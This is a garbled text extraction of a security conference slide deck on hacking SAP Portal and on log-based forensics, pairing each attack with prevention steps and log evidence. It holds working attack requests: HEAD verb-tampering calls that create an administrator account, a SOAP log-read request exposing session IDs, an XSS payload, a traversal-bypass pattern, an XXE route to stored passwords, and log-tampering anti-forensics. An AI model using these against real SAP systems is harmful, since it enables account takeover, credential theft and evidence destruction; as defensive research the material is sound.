Invest in security to secure investments
SAP Portal: Hacking and forensics
Dmitry Chastukhin – Director of SAP pentest/research team Evgeny Neyolov – Security analyst, (an@)forensics research
About ERPScan
• The only 360-‐degree SAP Security solu=on -‐ ERPScan Security Monitoring Suite for SAP
• Leader by the number of acknowledgements from SAP ( 150+ ) • 60+ presenta@ons key security conferences worldwide • 25 Awards and nomina@ons • Research team -‐ 20 experts with experience in different areas
of security • Headquarters in Palo Alto (US) and Amsterdam (EU)
2
Agenda
• SAP security
• SAP forensics WTF?!
• Say hello to SAP Portal
• Breaking SAP Portal
• Catch me if you can
• Conclusion
3
SAP
• The most popular business applica=on • More than 180000 customers worldwide • More than 70% of Forbes 500 run SAP • More than 40% of ERP market in Poland
4
SAP security
Espionage • Stealing financial informa=on • Stealing corporate secrets • Stealing supplier and customer lists • Stealing HR data
Fraud • False transac=ons • Modifica=on of master data
Sabotage • Denial of service • Modifica=on of financial reports • Access to technology network (SCADA) by trust rela=ons
5
0
5
10
15
20
25
30
35
2003 2004 2005 2006 2007 2008 2009 2010 2011 2012 2013
SAP security
6
• BlackHat • Defcon • HITB • RSA • CONFidence • DeepSec • Hack=vity • Troopers • Source
Source: SAP Security in Figures 2013 LINK
Is it remotely exploitable?
5000+ non-‐web SAP services exposed in the world including Dispatcher, Message server, SapHostControl, etc.
7
sapscan.com
8
0
100
200
300
400
500
600
700
800
900
2001 2002 2003 2004 2005 2006 2007 2008 2009 2010 2011 2012 2013 2014
By 2014 -‐ 2800 SAP Security notes
SAP Security notes
What about other services?
0
1
2
3
4
5
6
7
8
9
SAP Dispatcher SAP MMC SAP Message Server SAP HostControl SAP ITS Agate SAP Message Server httpd
World
9
What about unpublished threats?
• Companies are not interested in publishing informa=on about their breaches
• There are a lot of internal breaches thanks to unnecessarily given authoriza=ons (An employee by mistake buys hundreds of excavators instead of ten)
• There are known stories about backdoors leb by developers in custom ABAP code
• How can you be sure that, if a breach occurs, you can find evidence?
10
If there are no acacks, it doesn’t mean anything • Companies don’t like to share it • Companies don’t use security audit ~10% • Even if used, nobody manages it ~5% • Even if managed, no correla=on ~1%
SAP Forensics
11
Typical SAP audit op@ons
• ICM log icm/HTTP/logging_0 70% • Security audit log in ABAP 10% • Table access logging rec/client 4% • Message Server log ms/audit 2% • SAP Gateway access log 2%
* The percentage of companies is based on our security assessments and product implementa7ons.
12
What do we see?
• A lot of research • Real acacks • Lack of logging prac=ce • Many vulnerabili=es are hard to close → We need to monitor
them, at least
13
What do we need to monitor? External a_acks on SAP
14
* Ideally, we should control everything, but this talk has limits, so let’s focus on the most cri7cal areas.
• Awareness Acack users and SAP GUI
• Secure configuration and patch management SAProuter
• Disable them Exposed SAP services
• Too much issues and custom configura=on • Can be 0-‐days • Need to concentrate on this area
SAP Portal and WEB
• Point of web access to SAP systems • Point of web access to other corporate systems
• Way for acackers to get access to SAP from the Internet
Say hello to Portal
15
EP architecture
16
Okay, okay. SAP Portal is important, and it has many links to other modules.
So what?
17
SAP Logging
“If you are running an ABAP + Java installa7on of Web AS with SAP Web Dispatcher as a load balancing solu7on, you can safely disable logging of HTTP requests and responses on J2EE Engine, and use the corresponding CLF logs of SAP Web Dispatcher. This also improves the HTTP communica7on performance. The only drawback of using the Web Dispatcher’s CLF logs is that no informa4on is available about the user execu4ng the request (since the user is not authen7cated on the Web Dispatcher, but on the J2EE Engine instead).“ SOURCE: SAP HELP *Not the only…. There are many complex aTacks with POST requests.
18
SAP J2EE Logging
• Categories of system events recording: – System – all system related security and administra=ve logs – Applica=ons – all system events related to business logic – Performance – reserved for single ac=vity tracing
• Default loca=on of these files in your file system: \usr\sap
\<sid>\<id>\j2ee\cluster\<node>\log\
19
SAP J2EE Logging
• The developer trace files of the Java instance <SID>\<instance name>\work
• The developer trace files of the central services <SID>\<instance name>\work
<SID>\<instance name>\log
• Java server logs <SID>\<instance name>\j2ee\cluster\server<n>\log
20
Full logging is not always the best op@on
•
21
SAP Management Console
22
SAP Management Console
• SAP MMC: centralized system management • SAP MMC has remote commands • Commands are simple SOAP requests • Allowing to see the trace and log messages • It’s not bad if you only use it some=mes and delete logs aber
use, but…
23
SAP Management Console
24
What can we find in logs?
Right! The file userinterface.log contains calculated JSESIONID
But… The acacker must have creden=als to read the log file
WRONG!
SAP Management Console
25
<?xml version="1.0"?> <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/
envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xs="http://www.w3.org/2001/XMLSchema">
<SOAP-ENV:Header> <sapsess:Session xmlns:sapsess="http://www.sap.com/webas/630/soap/
features/session/"> <enableSession>true</enableSession> </sapsess:Session> </SOAP-ENV:Header> <SOAP-ENV:Body> <ns1:ReadLogFile xmlns:ns1="urn:SAPControl"> <filename>j2ee/cluster/server0/log/system/userinterface.log</
filename> <filter/> <language/> <maxentries>%COUNT%</maxentries> <statecookie>EOF</statecookie> </ns1:ReadLogFile> </SOAP-ENV:Body> </SOAP-ENV:Envelope>
Preven@on
26
LINK to SAP HELP
• Don’t use TRACE_LEVEL = 3 • Delete traces when work is finished • Limit access to dangerous methods • Install notes 927637 and 1439348 • Mask security-‐sensi@ve data in HTTP access log
Preven@on
27
LINK to SAP HELP
• The HTTP Provider service can mask security-‐sensi=ve URL parameters, cookies, or headers
• By default, only for the headers listed below – Path Parameter: jsessionid – Request Parameters: j_password, j_username,
j_sap_password, j_sap_again, oldPassword, confirmNewPassword,=cket
– HTTP Headers: Authoriza=on, Cookie (JSESSIONID, MYSAPSSO2)
SAP NetWeaver J2EE
28
Access Control
• Web Dynpro -‐ programma=c • Portal iViews -‐ programma=c • J2EE Web apps -‐ declara=ve
29
Programma@c By UME
Declara@ve By WEB.XML
Access Control
• The central en=ty in the J2EE authoriza=on model is the security role
• Programmers define the applica=on-‐specific roles in the J2EE deployment descriptor
30
web.xml web-‐j2ee-‐engine.xml
web.xml
<servlet> <servlet-name>CriticalAction</servlet-name> <servlet-class>com.sap.admin.Critical.Action</servlet-class> </servlet> <servlet-mapping> <servlet-name>CriticalAction</</servlet-name> <url-pattern>/admin/critical</url-pattern> </servlet-mapping <security-constraint> <web-resource-collection> <web-resource-name>Restrictedaccess</web-resource-name> <url-pattern>/admin/*</url-pattern> <http-method>GET</http-method> </web-resource-collection> <auth-constraint> <role-name>administrator</role-name> </auth-constraint> </security-constraint>
31
Verb Tampering
Verb Tampering
• If we are trying to get access to an applica=on using GET – we need a login:pass and administrator role
• What if we try to get access to applica=on using HEAD instead GET?
• PROFIT!
• Did U know about ctc?
32
Verb Tampering
Need Admin account in SAP Portal? Just send two HEAD requests
• Create new user CONF:idence HEAD /ctc/ConfigServlet?param=com.sap.ctc.util.UserConfig; CREATEUSER;USERNAME=CONF,PASSWORD=idence
• Add the user CONF to the group Administrators HEAD /ctc/ConfigServlet?param=com.sap.ctc.util.UserConfig; ADD_USER_TO_GROUP;USERNAME=CONF,GROUPNAME=Administrators
* Works when UME uses JAVA database.
33
• Install SAP notes 1503579, 1616259, 1589525, 1624450
• Install other SAP notes about Verb Tampering • Scan applica=ons with ERPScan WEB.XML checker • Disable the applica=ons that are not necessary
Preven@on
34
Inves@ga@on
[Apr 3, 2013 1:23:59 AM ] - 192.168.192.14 : GET /ctc/ConfigServlet HTTP/1.1 401 1790 [Apr 3, 2013 1:30:01 AM ] - 192.168.192.14 : HEAD /ctc/ConfigServlet HTTP/1.1 200 0 [Apr 3, 2013 1:30:01 AM ] - 192.168.192.14 : HEAD /ctc/ConfigServlet?param=com.sap.ctc.util.UserConfig;CREATEUSER;USERNAME=CONF,PASSWORD=idence HTTP/1.0 200 0
j2ee\cluster\<node>\log\system\httpaccess\responses.trc
35
web.xml
<servlet> <servlet-name>CriticalAction</servlet-name> <servlet-class>com.sap.admin.Critical.Action</servlet-class> </servlet> <servlet-mapping> <servlet-name>CriticalAction</</servlet-name> <url-pattern>/admin/critical</url-pattern> </servlet-mapping <security-constraint> <web-resource-collection> <web-resource-name>Restrictedaccess</web-resource-name> <url-pattern>/admin/*</url-pattern> <http-method>GET</http-method> <http-method>HEAD</http-method> </web-resource-collection> <auth-constraint> <role-name>administrator</role-name> </auth-constraint> </security-constraint>
36
GET /admin/cri=cal/Cri7calAc7on
GET /servlet/com.sap.admin.Cri=cal.Ac=on
Invoker servlet
Invoker Servlet
• Want to execute an OS command on J2EE server remotely? • Maybe upload a backdoor in a Java class? • Or sniff all traffic?
S=ll remember ctc?
37
Invoker Servlet
38
Preven@on
39
• Update to the latest patch 1467771, 1445998 • “EnableInvokerServletGlobally” must be “false” • Check all WEB.XML files with ERPScan WEBXML checker
Inves@ga@on
#1.5#000C29C2603300790000003A000008700004D974E7CCC6D8#1364996035203#/System/Security/Audit#sap.com/tc~lm~ctc~util~basic_ear#com.sap.security.core.util.SecurityAudit#Guest#0#SAP J2EE Engine JTA Transaction : [024423a006e18]#n/a##217c5d309c6311e29bca000c29c26033#SAPEngine_Application_Thread[impl:3]_22##0#0#Info#1#com.sap.security.core.util.SecurityAudit#Plain###Guest | USER.CREATE | USER.PRIVATE_DATASOURCE.un:CONF |
| SET_ATTRIBUTE: uniquename=[CONF]#
#1.5#000C29C2603300680002C97A000008700004D974E8354D1D#1364996042062#/System/Security/Audit/J2EE#sap.com/irj#com.sap.engine.services.security.roles.audit#Guest#182818##n/a##0c5bfef08bc511e287e6000c29c26033#Thread[Thread-50,5,SAPEngine_Application_Thread[impl:3]_Group]##0#0#Info#1#com.sap.engine.services.security.roles.audit#Java###{0}: Authorization check for caller assignment to J2EE security role [{1} : {2}].#3#ACCESS.OK#SAP-J2EE-Engine#guests#
40
Inves@ga@on
41
XSS
• Many XSSs in Portal • But some=mes HcpOnly • But when we exploit XSS, we can use the features of SAP Portal
42
EPCF
EPCF
• EPCF provides a JavaScript API designed for the client-‐side communica=on between portal components and the portal core framework
• Enterprise Portal Client Manager (EPCM) • iViews can access the EPCM object from every portal page
or IFrame • Every iView contains the EPCM object <SCRIPT>
alert(EPCM.loadClientData("urn:com.sap.myObjects", "person"); </SCRIPT>
43
For example, EPCF used for transient user data buffer for iViews
Preven@on
44
• Install SAP note 1656549
Inves@ga@on
#Plain###192.168.192.26 : GET /irj/servlet/prt/portal/prtroot/com.sap.portal.usermanagement.admin.UserMapping?systemid=MS_EXCHANGEaaaa%3C/script%3E%3Cscript%3Ealert(%27xSS%27)%3C/script%3E HTTP/1.1 200 3968#
j2ee\cluster\<node>\log\system\httpaccess
\responses.trc
45
Web Dynpro JAVA
• Web Dynpro unauthorized modifica=ons • For example:
– somebody steals an account using XSS/CSRF/Sniffing – then tries to modify the severity level of logs
46
Web Dynpro JAVA
47
LINK to SAP HELP
Inves@ga@on
• No traces of change in default log files
\cluster\server0\log\system\httpaccess\responses.log • Web Dynpro sends all data by POST, and we only see GET URLs in responses.log • But some=mes we can find informa=on by indirect signs
[Mar 20, 2013 9:35:49 AM ] - 172.16.0.63 : GET /webdynpro/resources/sap.com/tc~lm~webadmin~log_config~wd/Components/com.sap.tc.log_configurator.LogConfigurator/warning.gif HTTP/1.1 200 110
• The client loaded images from the server during some changes
48
Inves@ga@on
• Most ac=ons have icons • They have to be loaded from the server • Usually, legi=mate users have them all in cache • Acackers usually don’t have them, so they make requests to the
server • That’s how we can iden=fy poten=ally malicious ac=ons • But there should be correla=on with a real user’s ac=vity • False posi=ves are possible:
– New legi=mate user – Old user clears cache – Other
49
Directory traversal
50
FIX
Directory traversal fix bypass
51
Preven@on
52
• Install SAP note 1630293
Inves@ga@on
/../
!252f..!252f
53
Breaking SAP Portal
• Found a file in the OS of SAP Portal with the encrypted passwords for administra=on and DB
• Found a file in the OS of SAP Portal with keys to decrypt passwords
• Found a vulnerability (another one ;)) which allows reading the files with passwords and keys
• Decrypt passwords and log into Portal • PROFIT!
54
Read the file
How can we read the file? • Directory Traversal • OS Command execu=on • XML External En=ty (XXE)
55
XXE in Portal: Details
• Injec=on of malicious requests into XML packets • Can lead to unauthorized file read, DoS, SSRF • There is an XXE vulnerability in SAP Portal • Can be exploited by modifica=on of POST request • It is possible to read any file from OS and much more
56
XXE in Portal
57
XXE in Portal
58
XXE
59
Error based XXE
XXE in Portal: Result
• We can read any file • Including config with passwords • The SAP J2EE Engine stores the database user SAP<SID>DB; its
password is here: \usr\sap\<SID>\SYS\global\security\data\SecStore.properties
60
rdbms.maximum_connections=5
system.name=TTT secstorefs.keyfile=/oracle/TTT/sapmnt/global/security/
data/SecStore.key
secstorefs.secfile=/oracle/TTT/sapmnt/global/security/data/SecStore.properties
secstorefs.lib=/oracle/TTTsapmnt/global/security/lib
rdbms.driverLocation=/oracle/client/10x_64/instantclient/ojdbc14.jar
rdbms.connection=jdbc/pool/TTT
rdbms.initial_connections=1
Where are the passwords? (config.proper4es)
61
rdbms.maximum_connections=5
system.name=TTT secstorefs.keyfile=/oracle/TTT/sapmnt/global/security/
data/SecStore.key
secstorefs.secfile=/oracle/TTT/sapmnt/global/security/data/SecStore.properties
secstorefs.lib=/oracle/TTTsapmnt/global/security/lib
rdbms.driverLocation=/oracle/client/10x_64/instantclient/ojdbc14.jar
rdbms.connection=jdbc/pool/TTT
rdbms.initial_connections=1
Where are the passwords? (config.proper4es)
62
$internal/version=Ni4zFF4wMSeaseforCCMxegAfx
admin/host/TTT=7KJuOPPs/+u+14jM7uy7cy7exrZuYvevkSrPxwueur2445yxgBS
admin/password/TTT=7KJuOPPs/+uv+14j56vDc7M7v7dytbGbkgqDp+QD04b0Fh
jdbc/pool/TTT=7KJuOPPs/+u5jM6s1cvvgQ1gzFvarxuUzEJTHTJI0VGegH
admin/port/TTT=7KJuOPPs/+u+1j4vD1cv6ZTvd336rzEd7267Rwr4ZUgRTQ
$internal/check=BJRrzfjeUA+bw4XCzdz16zX78ufbt
$internal/mode=encrypted admin/user/TTT=7KJuOPPs/+u
+14j6s14sTxXU3ONl3rL6N7yssV75eC6/5S3E
SecStore.proper@es
63
But where is the key?
rdbms.maximum_connections=5
system.name=TTT secstorefs.keyfile=/oracle/TTT/sapmnt/global/security/
data/SecStore.key
secstorefs.secfile=/oracle/TTT/sapmnt/global/security/data/SecStore.properties
secstorefs.lib=/oracle/TTTsapmnt/global/security/lib
rdbms.driverLocation=/oracle/client/10x_64/instantclient/ojdbc14.jar
rdbms.connection=jdbc/pool/TTT
rdbms.initial_connections=1
config.proper@es
64
Get the password
• We have an encrypted password • We have a key to decrypt it
We got the J2EE admin and JDBC login:password!
65
Preven@on
66
• Install SAP note 1619539 • Restrict read access to files SecStore.proper7es and SecStore.key
Inves@ga@on
POST /irj/servlet/prt/portal/prteventname/HtmlbEvent/prtroot/pcd!3aportal_content!2fadministrator!2fsuper_admin!2fsuper_admin_role!2fcom.sap.portal.content_administration!2fcom.sap.portal.content_admin_ws!2fcom.sap.km.AdminContent!2fcom.sap.km.AdminContentExplorer!2fcom.sap.km.AdminExplorer/ HTTP/1.1
67
Inves@ga@on
• The only one way to get HTTP POST request values is to enable HTTP Trace
• Visual Administrator → Dispatcher → HTTP Provider → Proper=es: HcpTrace = enable • For 6.4 and 7.0 SP12 and lower: – On Dispatcher: /j2ee/cluster/dispatcher/log/defaultTrace.trc
– On Server \j2ee\cluster\server0\log\system\httpaccess\responses.0.trc
• For 7.0 SP13 and higher: /j2ee/cluster/dispatcher/log/services/http/req_resp.trc
• Manually analyze all requests for XXE acacks
68
Malicious file upload: A_ack
• Knowledge management allows uploading to the server different types of files that can store malicious content
• Some=mes, if guest access is allowed, it is possible to upload any file without being an authen=cated user
• For example, it can be an HTML file with JavaScript that steals cookies
69
Malicious file upload: A_ack
70
Malicious file upload: A_ack
71
Malicious file upload: Forensics
[Apr 10, 2013 2:26:13 AM ] - 192.168.192.22 : POST /irj/servlet/prt/portal/prteventname/HtmlbEvent/prtroot/pcd!3aportal_content!2fspecialist!2fcontentmanager!2fContentManager!2fcom.sap.km.ContentManager!2fcom.sap.km.ContentExplorer!2fcom.sap.km.ContentDocExplorer!2fcom.sap.km.DocsExplorer/documents HTTP/1.1 200 13968
[Apr 10, 2013 2:26:14 AM ] - 192.168.192.22 : GET /irj/go/km/docs/etc/public/mimes/images/html.gif HTTP/1.1 200 165
*Again, images can help us.
72
Malicious file upload: Preven@on
73
Enable File Extension and Size Filter: • System Administra7on → System Configura7on → Content
Management → Repository → Filters → Show Advanced Op7ons → File Extension and Size Filter
• Select either the All repositories parameter or at least one repository from the repository list in the Repositories parameter
Malicious file upload: Preven@on
74
Enable Malicious Script Filter: • System Administra7on → System Configura7on → Content
Management → Repository → Filters → Show Advanced Op7ons → Malicious Script Filter
• The filter also detects executable scripts in files that are being modified and encodes them when they are saved
– enable Forbidden Scripts. Comma-‐separated list of banned script tags that will be encoded when the filter is applied
– enable the Send E-‐Mail to Administrator op@on
Portal post-‐exploita@on
• Lot of links to other systems in corporate LAN • Using SSRF, acackers can get access to these systems
What is SSRF?
75
• We send Packet A to Service A • Service A ini=ates Packet B to service B • Services can be on the same or different hosts • We can manipulate some fields of packet B within packet A • Various SSRF acacks depend on how many fields we can control
on packet B
76
Packet A
Packet B
SSRF History: Basics
77
HTTP Server Corporate network
Direct acack GET /vuln.jsp
SSRF Acack
SSRF Acack Get /vuln.jst
A B
Par@al Remote SSRF: HTTP a_acks on other services
Gopher uri scheme
• Using gopher:// uri scheme, it is possible to send TCP packets – Exploit OS vulnerabili=es – Exploit old SAP applica@on vulnerabili@es – Bypass SAP security restric=ons – Exploit vulnerabili=es in local services
More info in our BH2012 presenta=on: SSRF vs. Business Cri7cal Applica7ons
LINK
78
Portal post-‐exploita@on
79
An@-‐forensics
80
An@-‐forensics
• Flooding • Dele=ng • Changing
81
An@-‐forensics
Log flooding • 5 ac=ve logs • Maximum log file size is 10 Mb • Archiving when all logs reach the maximum size • If file.0.log -‐> max size then open file.1.log • If file.4.log -‐> max size then zip all and backup • Rewri=ng the same files aber archiving
82
An@-‐forensics
Log dele@ng • SAP locks write access to the only one ac=ve log • SAP allows reading/wri=ng logs, so it is possible to delete them • It could compromise the acacker’s presence
Log changing • SAP locks write access only to the one ac=ve log • It is possible to write into any other log file
83
Securing SAP Portal
• Patching • Secure configura=on • Enabling HTTP Trace with masking • Malicious script filter • Log archiving • Addi=onal place for log storage • Monitoring of security events
– Own scripts, parse common pacerns – ERPScan has all exis=ng web vulns/0-‐day pacerns
84
It is possible to protect yourself from these kinds of issues, and we are working close with SAP to keep customers secure
SAP guides
It’s all in your hands
Regular security assessments
ABAP code review
Monitoring technical security
Segrega@on of du@es
85
Conclusion
I'd like to thank SAP's Product Security Response Team for the great coopera7on to make SAP systems more secure. Research is always ongoing, and we can't share all of it today. If you want
to be the first to see new aTacks and demos, follow us at @erpscan and aTend future presenta7ons:
July 31 – BlackHat (Las Vegas, USA)
86
Future work
Web: www.erpscan.com e-‐mail: [email protected] Twicer: @erpscan @_chipik @neyolov
87